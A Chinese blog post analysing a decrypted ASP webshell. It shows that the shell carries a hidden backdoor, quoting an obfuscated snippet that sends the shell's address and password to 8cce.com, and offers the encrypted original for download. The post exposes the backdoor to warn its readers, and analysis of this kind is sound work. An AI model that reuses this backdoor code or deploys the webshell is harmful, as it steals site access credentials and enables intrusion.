• 欢迎访问金刀客博客!
  • 2019,春节快乐!

解密的haker webshell

原创天空 admin 2927次浏览 已收录 0个评论

这个shell的特点是排版较其他的不一样,采用的不是一般的左边菜单右边上边框架的模式,而是上下框架的模式。
上图看下


加密比较简单,不说了
同样是有后门的。

if Instr(u,”127.0.0.1″)<>0 or Instr(u,”192.168.”)<>0 or Instr(u,”http://“)<>0 then
else
if session(“servec”)=1 then
session(“servec”)=session(“servec”)+1
RRS”

http://“&chr(37)&”38″&chr(37)&”63%63″&chr(101)&”%2E”&chr(37)&”63%6f”&chr(37)&”6d/%”&(61)&”%”&(62)&”/?%75=”&u&”&%70=”&Userpwd&”‘)””>”
‘else
if Action<>“” then
session(“servec”)=session(“servec”)+1
end if
end if
end if

后门在本地解析出来时http://8cce.com/ab/?u=localhost/1.asp&p=123,同样发送shell的地址和密码给8cce.com
附件中位原始加密版本:
点击下载此文件
最开始出于共享的目的,发布了解密的源码,但是很多朋友劝说我,那么解密文件就不发布了。


金刀客博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明解密的haker webshell
喜欢 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到